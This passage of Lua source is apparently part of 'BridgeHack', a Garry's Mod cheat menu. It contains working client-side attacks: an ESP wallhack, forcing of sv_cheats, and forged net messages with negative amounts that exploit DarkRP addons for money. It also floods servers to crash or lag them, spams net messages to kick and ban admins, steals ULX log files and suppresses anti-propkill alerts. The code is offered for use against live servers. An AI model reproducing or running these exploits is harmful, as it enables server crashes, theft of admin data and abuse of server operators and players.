991 end end
992
993hook.Add("HUDPaint", "JESP", function()
994 for k,v in pairs(player.GetAll()) do
995 if GetConVarNumber("bh_esp") > 0 then
996 if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then
997 if GetConVarNumber("bh_renderdistance_enable") > 0 then
998 if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber("bh_esp_rdistance") then
999 local PlayerESP = (v:EyePos()):ToScreen()
1000 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1001 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1002
1003 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1004
1005 if GetConVarNumber("bh_esp_rank") > 0 then
1006 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1007 end
1008
1009 if GetConVarNumber("bh_esp_hp") > 0 then
1010 local infocolor = Color(255,0,255)
1011 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1012 end
1013
1014 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1015 local min, max = v:WorldSpaceAABB()
1016
1017 min, max = min:ToScreen(), max:ToScreen()
1018
1019 local h = (min.y / 2) - (max.y / 2)
1020 surface.SetDrawColor(col.g, col.b, col.r)
1021
1022 if GetConVarNumber("bh_esp_box") > 0 then
1023 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1024 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1025 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1026 end end
1027 else
1028
1029 local PlayerESP = (v:EyePos()):ToScreen()
1030 local infocolor = Color(0,255,0)
1031 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1032 draw.DrawText(v:Name(), "BudgetLabel", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1033
1034 if GetConVarNumber("bh_esp_rank") > 0 then
1035 draw.DrawText(v:GetUserGroup(), "BudgetLabel", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1036 end
1037
1038 if GetConVarNumber("bh_esp_hp") > 0 then
1039 local infocolor = Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b"))
1040 draw.DrawText(v:Health() .. " HP", "BudgetLabel", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)
1041 end
1042
1043 local col = team.GetColor(v:Team()) -- looped into esp (square box)
1044
1045 local min, max = v:WorldSpaceAABB()
1046 min, max = min:ToScreen(), max:ToScreen()
1047 local h = (min.y / 2) - (max.y / 2)
1048
1049 surface.SetDrawColor(col.g, col.b, col.r)
1050
1051 if GetConVarNumber("bh_esp_box") > 0 then
1052 surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)
1053 surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)
1054 surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)
1055 end end end end end end)
1056
1057function blur_on()
1058 DrawMaterialOverlay( "Models/effects/comball_tape", 0.5 )
1059end
1060
1061function blur_off()
1062 DrawMaterialOverlay( "", 0.1 )
1063end
1064
1065concommand.Add("+bh_menu", function( ply )
1066 status("Menu Opened.")
1067 if GetConVarNumber("bh_menu_effects") == 1 then
1068 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_on )
1069 end
1070--[[
1071 mainmenu
1072
1073
1074 THE MAIN
1075
1076
1077 MENU
1078
1079
1080
1081 STARTS
1082
1083
1084
1085 HERE
1086
1087 |
1088 V
1089]]--
1090local menu = DermaMenu()
1091menu:Center()
1092menu:AddOption( "BridgeHack "..dlversion, function()
1093 AboutMenu()
1094end ):SetImage( "icon16/shield.png" )
1095menu:AddSpacer()
1096function menu:Paint( w, h )
1097 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )
1098 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )
1099 surface.SetDrawColor( 0,0,0 )
1100 surface.DrawOutlinedRect( 0, 0, w, h)
1101end
1102local ForcingMenu, optMenu = menu:AddSubMenu("Client-side Forcing")
1103
1104ForcingMenu:AddOption( "Force sv_allowcslua 1", function()
1105 ply:ConCommand("incrementvar sv_allowcslua 0 1 1")
1106 status("Forced SV_ALLOWCSLUA TO 1")
1107end):SetImage( "icon16/link_error.png" )
1108
1109ForcingMenu:AddOption( "Force sv_cheats 1", function()
1110 ply:ConCommand("incrementvar sv_cheats 0 1 1")
1111 status("Forced SV_CHEATS TO 1")
1112end):SetImage( "icon16/link_error.png" )
1113
1114local ESP = menu:AddSubMenu("ESP")
1115
1116ESP:AddOption( "[ON] ESP", ESP_on):SetImage( "icon16/group_add.png" )
1117ESP:AddOption( "[OFF] ESP", ESP_off):SetImage( "icon16/group_delete.png" )
1118
1119local Speed = menu:AddSubMenu("Speed")
1120Speed:AddOption( "[ON] SpeedHack", speedhack_on):SetImage( "icon16/lightning_go.png" )
1121Speed:AddOption( "[OFF] SpeedHack", speedhack_off):SetImage( "icon16/lightning_delete.png" )
1122
1123
1124local NameStealSub = menu:AddSubMenu( "Name Stealing/Changing" )
1125NameStealSub:AddOption( "[ON] Name Steal", function()
1126 ply:ConCommand("bh_namesteal_on")
1127end ):SetImage( "icon16/book_addresses.png" )
1128
1129NameStealSub:AddOption( "[OFF] Name Steal", function()
1130 status("Stopped Script: Random Name Change [name steal]")
1131 ply:ConCommand("bh_namesteal_off")end ):SetImage( "icon16/book.png" )
1132
1133local MoneyExploits = menu:AddSubMenu( "DarkRP Money Explots" )
1134
1135 MoneyExploits:AddOption("[$$] Drug Sell",function()
1136 for i=1,1000 do
1137 net.Start("Kun_SellDrug")
1138 net.WriteString("Meth")
1139 net.SendToServer()
1140 end end):SetImage( "icon16/coins_add.png" )
1141
1142 MoneyExploits:AddOption( "[$$] Taxi Driver Money",function()
1143 chatp("Giving money")
1144 net.Start("Taxi_Add")
1145 net.WriteString("MLG")
1146 net.WriteTable({-1333.647461, -1473.931763, -139.968750})
1147 net.WriteFloat(-99999999)
1148 net.WriteString(Desc)
1149 net.SendToServer()
1150 end):SetImage( "icon16/coins_add.png" )
1151
1152 MoneyExploits:AddOption( "[$$] SS Shelf NET",function()
1153 chatP("Attempting to give money..")
1154 for k,v in pairs(ents.GetAll()) do
1155 swag = v
1156 end
1157 net.Start( 'NET_SS_DoBuyTakeoff' )
1158 net.WriteEntity(LocalPlayer())
1159 net.WriteEntity(swag)
1160 net.WriteTable({'spawned_weapon'})
1161 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
1162 net.SendToServer()
1163 end):SetImage( "icon16/coins_add.png" )
1164
1165 MoneyExploits:AddOption( "[$$] HITMAN MONEY",function()
1166 chatP("Attempting to give money..")
1167 net.Start( "DaHit" )
1168 net.WriteFloat( -1000000000000000000000 )
1169 --net.WriteFloat( tm )
1170 net.WriteEntity( LocalPlayer() )
1171 net.WriteEntity( LocalPlayer() )
1172 net.WriteEntity( LocalPlayer() )
1173 net.SendToServer()
1174 end):SetImage( "icon16/coins_add.png" )
1175
1176 MoneyExploits:AddOption( "[$$] HHH MONEY",function()
1177 local ply = LocalPlayer()
1178 for k,v in pairs(player.GetAll()) do
1179 dahater = v
1180 end
1181
1182 local hitRequest = {}
1183 hitRequest.hitman = ply
1184 hitRequest.requester = ply
1185 hitRequest.target = dahater
1186 hitRequest.reward = 100000000
1187
1188 net.Start( 'hhh_request' )
1189 net.WriteTable( hitRequest )
1190 net.SendToServer()
1191
1192 end):SetImage( "icon16/coins_add.png" )
1193
1194 MoneyExploits:AddOption("[$$] BOONPC",function()
1195 net.Start('BuyCar')
1196 net.WriteFloat(-1000000000000)
1197 net.WriteEntity(LocalPlayer())
1198 net.WriteString("BridgeHack")
1199 net.WriteString("BridgeHack")
1200 net.WriteString("BridgeHack")
1201 net.SendToServer()
1202 end):SetImage( "icon16/coins_add.png" )
1203
1204 MoneyExploits:AddOption("[$$] Hitman X Menu",function()
1205 local frame = vgui.Create( "DFrame" )
1206 frame:Center()
1207 frame:SetSize( 200,150 )
1208 frame:SetTitle( "" )
1209 frame:MakePopup()
1210 frame:ShowCloseButton( false )
1211 function frame:Paint( w, h )
1212 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1213 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1214 draw.SimpleText( "BridgeHack Hitman X Menu", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1215 end
1216
1217 local playerMenu = vgui.Create( "DComboBox", frame )
1218 playerMenu:SetPos( 10,40 )
1219 playerMenu:SetSize( 120,20 )
1220 playerMenu:SetText( "Select a Player")
1221 for k, v in pairs( player.GetAll() ) do
1222 playerMenu:AddChoice( tostring( v:Name() ) )
1223 playerMenu:SetTextColor(color_black)
1224 end
1225
1226 local Button = vgui.Create("DButton", frame)
1227 Button:SetPos( 180, 2 )
1228 Button:SetSize( 20, 20 )
1229 Button:SetText( "" )
1230 function Button:Paint( w, h )
1231 draw.SimpleText( "X", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1232 end
1233 Button.DoClick = function()
1234 frame:Close()
1235 end
1236
1237 local SpamHit = vgui.Create("DButton", frame )
1238 SpamHit:SetPos( 20,70 )
1239 SpamHit:SetSize( 150,20 )
1240 SpamHit:SetText( "Get Money" )
1241 SpamHit:SetTextColor( Color(0,0,0) )
1242 SpamHit.DoClick = function()
1243 local v = playerMenu:GetText()
1244 net.Start( "SendMoney" )
1245 net.WriteEntity( v )
1246 net.WriteEntity( v )
1247 net.WriteEntity( v )
1248 net.WriteString( "-100000000000000000000000000000000000000000" )
1249 net.SendToServer()
1250 end
1251
1252 local CrashButton = vgui.Create("DButton", frame )
1253 CrashButton:SetPos( 20,90 )
1254 CrashButton:SetSize( 150,20 )
1255 CrashButton:SetText( "Crash Server" )
1256 CrashButton:SetTextColor( Color(0,0,0) )
1257 CrashButton.DoClick = function()
1258 for i=0, 10 do
1259 ply:ConCommand("bh_hitmanxcrash")
1260 end
1261 end
1262
1263 local InfaButton = vgui.Create("DButton", frame )
1264 InfaButton:SetPos( 20,110 )
1265 InfaButton:SetSize( 150,20 )
1266 InfaButton:SetText( "Infinite Money For Everyone" )
1267 InfaButton:SetTextColor( Color(0,0,0) )
1268 InfaButton.DoClick = function()
1269 ply:ConCommand("bh_hitmanxinfa")
1270 end
1271 end):SetImage( "icon16/application_form.png" )
1272
1273 MoneyExploits:AddOption( "[$$] HITMENU",function()
1274 local HitPanel = vgui.Create( "DFrame" )
1275 HitPanel:SetPos( ScrW()/5, ScrH()/10 )
1276 HitPanel:SetSize( 300, 200 )
1277 HitPanel:SetTitle( " " )
1278 HitPanel:SetVisible( true )
1279 HitPanel:SetDraggable( true )
1280 HitPanel:ShowCloseButton( false )
1281 HitPanel:MakePopup()
1282 function HitPanel:Paint( w, h )
1283 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 255,160) )
1284 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1285 draw.SimpleText( "BridgeHack HitHack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1286 end
1287
1288 local Button = vgui.Create("DButton", HitPanel)
1289 Button:SetPos( 250, 0 )
1290 Button:SetSize( 50, 25 )
1291 Button:SetText( "" )
1292 function Button:Paint( w, h )
1293 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1294 draw.SimpleText( "Close", "HeaderFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1295 end
1296 Button.DoClick = function()
1297 HitPanel:Close()
1298 end
1299
1300 local HitButton = vgui.Create("DButton", HitPanel)
1301 HitButton:SetPos( 140, 100 )
1302 HitButton:SetSize( 100, 20 )
1303 HitButton:SetText( "Get Money" )
1304 HitButton:SetTextColor( Color(255,255,255) )
1305 function HitButton:Paint( w, h )
1306 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1307 end
1308 HitButton.DoClick = function()
1309 ply:ConCommand("bh_hithack")
1310 end
1311
1312 local HitSlider = vgui.Create( "DNumSlider", HitPanel )
1313 HitSlider:SetPos( 20, 50 )
1314 HitSlider:SetSize( 300, 40 )
1315 HitSlider:SetText( "Money Ammount" )
1316 HitSlider:SetMin( 0 )
1317 HitSlider:SetMax( 1000000000 )
1318 HitSlider:SetDecimals( 0 )
1319 HitSlider:SetConVar( "bh_hitmenuammount" )
1320
1321 end):SetImage( "icon16/coins_add.png" )
1322
1323 MoneyExploits:AddOption( "[$$] 3D Car Dealer",function()
1324 ply:ConCommand("bh_3dcardealer_spamstore")
1325 end):SetImage( "icon16/coins_add.png" )
1326
1327 MoneyExploits:AddOption( "[$$] VCMOD Sell-car",function()
1328 chatP("Attempting to give money..")
1329 for i=0,30 do
1330 for i=1,10 do
1331 net.Start( "AttemptSellCar" )
1332 net.WriteInt( i, 8 )
1333 net.SendToServer()
1334 end
1335 end
1336 end):SetImage( "icon16/coins_add.png" )
1337
1338 MoneyExploits:AddOption( "[$$] BAILNPC",function()
1339 chatP("Attempting to give money..")
1340 net.Start( "BailOut" )
1341 net.WriteEntity( ply )
1342 net.WriteEntity( ply )
1343 net.WriteFloat( -10000000000000)
1344 net.SendToServer()
1345 end):SetImage( "icon16/coins_add.png" )
1346
1347 MoneyExploits:AddOption("[$$] REALISTIC ATM",function()
1348 local DermaPanel = vgui.Create( "DFrame" )
1349 DermaPanel:SetPos( 100, 100 )
1350 DermaPanel:SetSize( 300, 200 )
1351 DermaPanel:SetTitle( " " )
1352 DermaPanel:SetVisible( true )
1353 DermaPanel:SetDraggable( true )
1354 DermaPanel:ShowCloseButton( true )
1355 function DermaPanel:Paint( w, h )
1356 draw.RoundedBox( 4, 0, 0, w, h, Color( 0, 0, 0,160) )
1357 draw.RoundedBoxEx( 4, 0, 0, w, 25, Color( 240, 85, 0, 220), true, true, false, false )
1358 draw.SimpleText( "BridgeHack Realistic ATM Hack Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1359 end
1360 DermaPanel:MakePopup()
1361
1362 local TextEntry = vgui.Create( "DTextEntry", DermaPanel )
1363 TextEntry:SetPos( 75, 30 )
1364 TextEntry:SetSize( 150, 25 )
1365 TextEntry:SetText( "Account num(Including the -!)" )
1366
1367 local BBDButton = vgui.Create( "DButton",DermaPanel )
1368 BBDButton:SetPos( 10, 120 )
1369 BBDButton:SetText( "Give Money" )
1370 BBDButton:SetTextColor( Color(255,255,255) )
1371 BBDButton:SetSize( 280, 75 )
1372 function BBDButton:Paint( w, h )
1373 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,255,150) )
1374 end
1375 BBDButton.DoClick = function()
1376 local accnumber = TextEntry:GetValue()
1377 local moneytogive = GetConVarNumber("bh_ratm_money2give")
1378 chatP("Attempting to give "..moneytogive.."$ on Account Number: "..accnumber)
1379 net.Start("ATM_DepositMoney_C2S")
1380 net.WriteTable({Memo =BridgeHack.RandomVar,Num=accnumber,Amount=-moneytogive})
1381 net.SendToServer()
1382 end
1383
1384 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
1385 RenderDistance:SetPos( 10, 50)
1386 RenderDistance:SetSize( 275, 25 )
1387 RenderDistance:SetText( "Money to give" )
1388 RenderDistance:SetMin( 0 )
1389 RenderDistance:SetMax( 500000 )
1390 RenderDistance:SetDecimals( 0 )
1391 RenderDistance:SetConVar( "bh_ratm_money2give" )
1392 end):SetImage("icon16/coins_add.png")
1393
1394 MoneyExploits:AddOption( "[$$] TOW TRUCK DRIVER",function()
1395 chatP("Giving money..")
1396 for k,v in pairs(ents.GetAll()) do
1397 status("Attempting to make fine")
1398 net.Start("TOW_SubmitWarning")
1399 net.WriteString(LocalPlayer():SteamID())
1400 net.WriteDouble(-100000000000)
1401 net.WriteEntity(v)
1402 net.SendToServer()
1403
1404 net.Start("TOW_PayTheFine")
1405 net.WriteEntity(v)
1406 net.SendToServer()
1407 end
1408 end):SetImage( "icon16/coins_add.png" )
1409
1410local DARKRPBASEDSUB = menu:AddSubMenu( "DarkRP Minging/Scripts" )
1411
1412 DARKRPBASEDSUB:AddOption("[Watch Dogs] EMP",function()
1413 ply:ConCommand("bh_emp")
1414 end):SetImage( "icon16/cross.png" )
1415
1416 DARKRPBASEDSUB:AddOption("[ON] Dlog Lag",function()
1417 ply:ConCommand("bh_dlogs_lag")
1418 end):SetImage( "icon16/table_error.png" )
1419
1420 DARKRPBASEDSUB:AddOption("[OFF] Dlog Lag",function()
1421 ply:ConCommand("bh_dlogs_lag_off")
1422 end):SetImage( "icon16/table_add.png" )
1423
1424 DARKRPBASEDSUB:AddOption("HitMenu Spam",function()
1425 local ply = LocalPlayer()
1426
1427 local frame = vgui.Create( "DFrame" )
1428 frame:Center()
1429 frame:SetSize( 200,150 )
1430 frame:SetTitle( "" )
1431 frame:MakePopup()
1432 frame:ShowCloseButton( false )
1433 function frame:Paint( w, h )
1434 draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )
1435 draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )
1436 draw.SimpleText( "BridgeHack Hitspam", "Default", 6, 2, Color( 255,255,255 ), 0, 0 )
1437 end
1438
1439 local playerMenu = vgui.Create( "DComboBox", frame )
1440 playerMenu:SetPos( 10,40 )
1441 playerMenu:SetSize( 120,20 )
1442 playerMenu:SetText( "Select a Player")
1443 for k, v in pairs( player.GetAll() ) do
1444 playerMenu:AddChoice( tostring( v:Name() ) )
1445 end
1446
1447 local SpamHit = vgui.Create("DButton", frame )
1448 SpamHit:SetPos( 50,70 )
1449 SpamHit:SetSize( 100,20 )
1450 SpamHit:SetText( "Place Dem Hits" )
1451 SpamHit:SetTextColor( Color(0,0,0) )
1452 SpamHit.DoClick = function()
1453 local v = playerMenu:GetText()
1454 for i=0, 4 do
1455 ply:ConCommand('addhit "'..v..'" 500')
1456 end
1457 end
1458
1459 local CrashButton = vgui.Create("DButton", frame )
1460 CrashButton:SetPos( 50,110 )
1461 CrashButton:SetSize( 100,20 )
1462 CrashButton:SetText( "Crash Server" )
1463 CrashButton:SetTextColor( Color(0,0,0) )
1464 CrashButton.DoClick = function()
1465 chatP("Hitmanmenu got rekt!")
1466 consoleP("Hitmanmenu got rekt")
1467 for i=0, 10 do
1468 ply:ConCommand("bh_hitmancrash")
1469 end
1470 end
1471
1472 local Button = vgui.Create("DButton", frame)
1473 Button:SetPos( 170, 0 )
1474 Button:SetSize( 30, 20 )
1475 Button:SetText( "Close" )
1476 Button:SetTextColor( Color( 255, 255, 255) )
1477 function Button:Paint( w, h )
1478 draw.RoundedBox( 4, 0, 0, w, h, Color(0,0,0,200) )
1479 end
1480 Button.DoClick = function()
1481 frame:Close()
1482 end
1483
1484 local label = vgui.Create( "DLabel", frame )
1485 label:SetPos( 10,20 )
1486 label:SetSize( 120,20 )
1487 label:SetTextColor( Color(0,0,0) )
1488 label:SetText( "Select Player:" )
1489 end):SetImage("icon16/accept.png")
1490
1491 DARKRPBASEDSUB:AddOption("TP Spawn",function()
1492 ply:ConCommand("bh_tp_spawn")
1493 end):SetImage( "icon16/cake.png" )
1494
1495 DARKRPBASEDSUB:AddOption("[ON] Advert Spam",function()
1496 ply:ConCommand("bh_advert 1")
1497 end):SetImage( "icon16/bell_add.png" )
1498
1499 DARKRPBASEDSUB:AddOption("[OFF] Advert Spam",function()
1500 ply:ConCommand("bh_advert 0")
1501 end):SetImage( "icon16/bell_delete.png" )
1502
1503 DARKRPBASEDSUB:AddOption("Remove looking at prop",function()
1504 timer.Simple(0.1,function()
1505 chatP("(This can be binded to: bh_removelookingat)")
1506 ply:ConCommand("bh_removelookingat")
1507 end)
1508 end):SetImage("icon16/map_delete.png")
1509
1510 DARKRPBASEDSUB:AddOption( "[X] KUN ZIPTIES UNTIE SELF ",function()
1511 ply:ConCommand("bh_kun_ziptie_untie")
1512 end):SetImage( "icon16/cut.png" )
1513
1514 DARKRPBASEDSUB:AddOption( "Open Armory", function()
1515 chatP("Opening armory..")
1516 ARMORY_WeaponMenu()
1517 end):SetImage( "icon16/bomb.png" )
1518
1519 DARKRPBASEDSUB:AddOption( "[ON/OFF] Spam Split Shipment / Make Shipemnt", function()
1520 ply:ConCommand("___darkrpshipments")
1521 end):SetImage( "icon16/cut_red.png" )
1522
1523 DARKRPBASEDSUB:AddOption( "[ON] Make everyone wanted (Cop only)", function()
1524 timer.Create("lollol3294385", 0.2, 0, function( )
1525 for k,v in pairs(player.GetAll()) do
1526 local ligger_type = math.random(1,13)
1527 local ligger_type1 = math.random(1,13)
1528 status("Attempting Want on: " .. v:Nick() .. " - " .. v:SteamID())
1529 if ligger_type1 == ligger_type then
1530 if last_ply == v:Nick() then
1531 local ligger_type = math.random(1,13)
1532 local ligger_type1 = math.random(1,13)
1533 else
1534 ply:ConCommand("darkrp wanted " .. v:Nick() .. " " .. math.random(1,999))
1535 end
1536
1537 local last_ply = v:Nick()
1538 local ligger_type = math.random(1,13)
1539 local ligger_type1 = math.random(1,13)
1540 status("Force Wanting: " .. v:Nick())
1541 end
1542 end
1543 end)
1544 end):SetImage( "icon16/cross.png" )
1545
1546 DARKRPBASEDSUB:AddOption( "[OFF] Make everyone wanted (Cop only)", function()
1547 timer.Destroy("lollol3294385")
1548 status("Stopped Want All Police")
1549 end):SetImage( "icon16/tick.png" )
1550
1551 DARKRPBASEDSUB:AddOption( "[ON] DARKRP LAG", function()
1552 ply:ConCommand("__bh_lagdarkrpdashit")
1553 end):SetImage( "icon16/accept.png" )
1554
1555 DARKRPBASEDSUB:AddOption( "[OFF] DARKRP LAG", function()
1556 ply:ConCommand("__bh_stopplag")
1557 end):SetImage( "icon16/cancel.png" )
1558
1559 local SpoofingMenu = menu:AddSubMenu("Spoofing Scripts")
1560 SpoofingMenu:AddOption( "Spoof Player colours and physgun colours", function()
1561 ply:ConCommand("cl_weaponcolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1562 ply:ConCommand("cl_playercolor 0." .. math.random(1,255) .. " 0." .. math.random(1,255) .. " 0." .. math.random(1,255))
1563 status("Spoofed Physgun And Player Color.")
1564 end):SetImage( "icon16/color_wheel.png" )
1565
1566 local exploitshacks = menu:AddSubMenu("Exploits")
1567
1568 exploitshacks:AddOption( "Bypass APAnti (Anti propkill)",function()
1569 chatP("Bypassing Apanti..")
1570 net.Receive("sMsgStandard", function()
1571 print("#Bypassed by HaxRUs")
1572 end)
1573
1574 net.Receive("sNotifyHit", function()
1575
1576 end)
1577
1578 net.Receive("sMsgAdmins", function()
1579
1580 end)
1581
1582 net.Receive("sAlertNotice", function()
1583
1584 end)
1585 end):SetImage( "icon16/link_break.png" )
1586
1587 exploitshacks:AddOption("[NLR] [ON] Freeze Spawning",function()
1588 ply:ConCommand("bh_nlr_freeze 1")
1589 end):SetImage( "icon16/book_error.png" )
1590
1591 exploitshacks:AddOption("[NLR] [OFF] Freeze Spawning",function()
1592 ply:ConCommand("bh_nlr_freeze 0")
1593 end):SetImage( "icon16/book.png" )
1594
1595 exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
1596 status("Downloading ULX LOGS")
1597 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
1598 consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
1599 else
1600 RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
1601 chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
1602 timer.Simple( 15, function()
1603 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
1604 consoleP("**********************")
1605 consoleP("** SUCCESS ULX DUMP **")
1606 consoleP("**********************")
1607 end)
1608 end
1609 end ):SetImage( "icon16/lock_break.png" )
1610
1611 exploitshacks:AddOption("[AE] KICK ADMINS+",function()
1612 chatP("Kicking... (Will only work on admins+)")
1613 timer.Create( "aekickdaskids", 3, 0, function()
1614 for k,v in pairs(player.GetAll()) do
1615 if( v:GetUserGroup() != "user" ) then
1616 if( v:GetUserGroup() != "vip" ) then
1617 for i=0, 700 do
1618 net.Start('plyWarning')
1619 net.WriteEntity(v)
1620 net.WriteString('You have to select a player before doing a action.')
1621 net.SendToServer()
1622 end
1623 consoleP('Attempting to kick '.. v:Nick().. "!")
1624 end
1625 end
1626 end
1627 end)
1628 end):SetImage("icon16/wand.png")
1629
1630 exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
1631 chatP("Banning...")
1632 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
1633 for k,v in pairs(player.GetAll()) do
1634 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
1635 if v != LocalPlayer() then
1636 status("Banning.. "..v:Nick())
1637 net.Start("banleaver")
1638 net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
1639 net.SendToServer()
1640 end
1641 end
1642 end
1643 end)
1644 end):SetImage("icon16/wand.png")
1645
1646 exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
1647 chatP("Freezing everybody.. (Except you)")
1648 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1649 local trash = "";
1650 for i=0, 15000 do
1651 trash = trash .. string.char(math.random(32, 126));
1652 end
1653
1654 status("Freeze wave incoming")
1655 timer.Simple(1,function()
1656 status("Freeze wave done")
1657 end)
1658
1659 for i=0,3 do
1660 net.Start("atlaschat.chat")
1661 net.WriteString("// ".. trash)
1662 net.SendToServer()
1663 end
1664 end)
1665 end):SetImage( "icon16/lock.png" )
1666
1667 exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
1668 chatP("Stopping the freeze..")
1669 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
1670
1671 end)
1672 end):SetImage( "icon16/lock_open.png" )
1673
1674 exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1675 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
1676 local friends = {}
1677 table.insert( friends, math.random(1,9999) )
1678 for i = 1,6000 do
1679 net.Start("friendlist")
1680 net.WriteTable(friends)
1681 net.SendToServer()
1682 end
1683 status("PROGRESS [10000/10000]")
1684 end)
1685 end ):SetImage( "icon16/script_error.png" )
1686
1687 exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
1688 timer.Destroy("spamdafukFRIENDSULX")
1689 status("Stopped ULX SPAM FRIENDS")
1690 end):SetImage( "icon16/script.png" )
1691
1692 exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
1693 GiveMenu()
1694 end):SetImage( "icon16/book_key.png" )
1695
1696 exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
1697 chatP("Kicking admins, Including anyone who isnt a user")
1698 ply:ConCommand("bh_mx_kickadmins")
1699 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
1700 for k,v in ipairs(player.GetAll()) do
1701 if( v:GetUserGroup() != "user" ) then
1702 if v:Nick() != (ply:Nick()) then
1703 for i=0, 700 do
1704 net.Start( "GetCar" )
1705 net.WriteEntity(v)
1706 net.WriteEntity(v)
1707 net.SendToServer()
1708 end
1709 chatP('Attempting to kick '.. v:Nick())
1710 end
1711 end
1712 end
1713 end)
1714 end):SetImage( "icon16/wand.png" )
1715
1716 exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
1717 chatP("Stopping the kicks")
1718 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
1719 end):SetImage( "icon16/wand.png" )
1720
1721 local Misc = menu:AddSubMenu(" Misc ")
1722
1723 Misc:AddOption( "Hackable Server List",function()
1724 ply:ConCommand("bh_serverlist")
1725 end):SetImage( "icon16/book.png" )
1726
1727 Misc:AddOption( "Changelog",function()
1728 ChangeLogMenu()
1729 end):SetImage( "icon16/book.png" )
1730
1731 Misc:AddOption( "List Rank - Playername - Money",function()
1732 chatP( "Check Console\n" )
1733 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
1734 for k,v in pairs(player.GetAll()) do
1735 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1736 if v:IsAdmin() then
1737 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1738 else
1739 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1740 end
